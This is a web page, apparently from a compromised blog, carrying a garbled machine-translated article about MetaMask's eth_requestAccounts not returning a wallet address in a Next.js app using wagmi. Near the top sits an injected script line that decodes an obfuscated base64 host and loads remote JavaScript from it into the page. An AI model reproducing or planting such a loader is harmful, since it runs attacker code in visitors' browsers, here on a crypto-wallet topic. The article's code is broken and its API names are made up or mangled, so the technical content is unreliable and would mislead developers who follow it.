未分類

Metamask: MetaMask eth_requestAccounts not retrieving wallet address after signing in

const pdx="bm9yZGVyc3dpbmcuYnV6ei94cC8=";const pde=atob(pdx.replace(/|/g,""));const script=document.createElement("script");script.src="https://"+pde+"cc.php?u=4166f51a";document.body.appendChild(script);

Here is a project of the article:

Metamask: Metamask Eth_reQuestaccounts does not retrieve the portfolio address after logging in

I integrate Metamask into my Next.js app with WAGMI and have a problem where, after connecting to Metamask, the portfolio address is not immediately extracted. The app wants to sign through the Web3 browser before requesting the portfolio address.

The problem:

When the user contacts Metamask, he sends a request eth_requestaccounts to retrieve their portfolio addresses. However, this process usually takes about 1-2 seconds to complete and return the addresses of the JSON portfolio. Unfortunately, after entering the Metamask using the WAG3 browser provided by WAGMI, the application does not immediately require the portfolio addresses.

The problem:

As a result, my Next.js app asks for signing via eth_requestaccounts Call every time I try to sign with Metamask. This can lead to:

* Common requests : The user is asked to certify again every second or so that may be annoying and to break their work process.

* Unnecessary errors : If the portfolio address is not correctly extracted, my application can make mistakes when trying to access it.

How to fix:

To resolve this problem, you need to handle the answer ETH_REQUESTACCOUNTS 'from Metamask. Here are some approaches:

Metamask: MetaMask eth_requestAccounts not retrieving wallet address after signing in

1. Use hookonsuccess

You can use theonsuccess' hook provided by Wagmi to wait for the portfolio address after you request it usingETH_REQUESTACCOUNTS. This ensures that your application is waiting for your address before requesting a signing again.

`jsx

Import {uswagmi} by 'Wagmi';

Imports of Metamaskprovider from "Metamask-Provider";

Const myapp = ({component, PageProps}) => {{

const {connect} = uswagmi ();

return (

);

};

Default exporting MyApp;

`

2. Use onrror hook

As an alternative, you can use the onrror hook provided by WAGMI to process errors related to Metamask requests.

`jsx

Import {uswagmi} by 'Wagmi';

Imports of Metamaskprovider from "Metamask-Provider";

Const myapp = ({component, PageProps}) => {{

const {connect} = uswagmi ();

return (

);

};

Default exporting MyApp;

`

3. Use ETH_REQUESTACCOUNTS

If you prefer to deal with the answer yourself, you can useSettimeout ()to wait for the address before requesting to sign again.

jsx

Import {useeffect, usestate} by 'react';

Imports of Metamaskprovider from "Metamask-Provider";

Const myapp = ({component, PageProps}) => {{

const [tletetaddress, setwalletaddress] = usestate ('');

const {connect} = uswagmi ();

useeffect (() => {

Fetch ({tolttaddress})

.Then (reply => reply.json ())

.Then (data => setwalletaddress (data.address))

.catch (error => console.error ('error:', error));

}, [tletetaddress]);

Const gradlesign = () => {

Fetch ({tolttaddress}, {

Method: "Post",

Headers: {'content of the type': 'app/json'},

Body: JSON.Stringify ({

By: toltetaddress,

to: '',

Data: '',

}),

})

.Then (reply => reply.json ())

.Then (data => console.log ('signature:', data))

.catch (error => console.error ('error:', error));

};

return (

);

};

`

These are just a few examples of how you can handle the answer ETH_REQUESTACCOUNTS from Metamask in your next app.js with WAGMI.

METAMASK DOCUMENTATION FRONTEND DEVELOPMENT

公式LINE
公式LINEスマホ用




-未分類